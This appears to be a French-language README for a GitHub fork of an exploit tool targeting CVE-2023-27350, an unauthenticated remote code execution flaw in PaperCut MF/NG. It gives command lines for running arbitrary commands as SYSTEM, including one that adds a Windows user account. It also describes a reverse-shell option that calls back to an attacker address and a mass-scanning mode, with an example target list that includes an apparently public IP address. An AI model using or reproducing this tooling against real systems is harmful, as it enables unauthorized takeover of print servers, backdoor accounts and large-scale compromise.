adhikara13/cve-2023-27350Exploit pour Papercut CVE-2023-27350. [+] Shell inversé [+] Vérification de masse
Ceci est une preuve de concept (POC) d'exploitation pour CVE-2023-27350, une vulnérabilité trouvée dans PaperCut MF/NG qui permet à un attaquant non authentifié d'exécuter du code arbitraire avec les privilèges SYSTEM.
Avant d'utiliser cet exploit, assurez-vous d'avoir installé les bibliothèques suivantes :
pip install -r requirements.txt
-u, --url : L'URL de l'application PaperCut MF/NG cible (par exemple, http://target-ip:9191).-c, --command : La commande à exécuter sur le système cible.--reverse-shell : Utiliser une charge utile de shell inverse pour exécuter des commandes sur le système cible.-f, --file : Vérifier plusieurs cibles à partir d'un fichier (par exemple, file.txt).Pour exécuter une commande sur le système cible, utilisez l'option -c :
python CVE-2023-27350.py -u http://target-ip:9191 -c "net user test test1234 /add"
Pour utiliser une charge utile de shell inverse afin d'exécuter des commandes sur le système cible, utilisez l'option --reverse-shell. Il vous sera demandé de saisir votre adresse IP et votre numéro de port :
python exploit.py -u http://target-ip:9191 --reverse-shell Enter your IP address: <attacker-ip> Enter your port number: <port>
Pour vérifier plusieurs cibles à partir d'un fichier, utilisez l'option -f. Le format du fichier doit être adresse_ip:port :
python CVE-2023-27350.py -f file.txt
file.txtLors de l'utilisation de l'option de vérification de masse avec l'entrée file.txt, assurez-vous que le contenu du fichier est correctement formaté.
Chaque ligne du fichier doit contenir l'adresse IP et le numéro de port d'une cible, séparés par deux-points :. Par exemple :
110.175.19.78:9191 110.175.19.78:80 192.168.1.1:8080
Assurez-vous qu'il n'y a pas d'espaces ou de caractères supplémentaires entre l'adresse IP, les deux-points et le numéro de port. Assurez-vous également que chaque ligne ne contient qu'une seule adresse IP et un seul numéro de port.
Ceci est une version forkée du dépôt horizon3ai/CVE-2023-27350. Tout le crédit pour l'exploit original revient aux auteurs.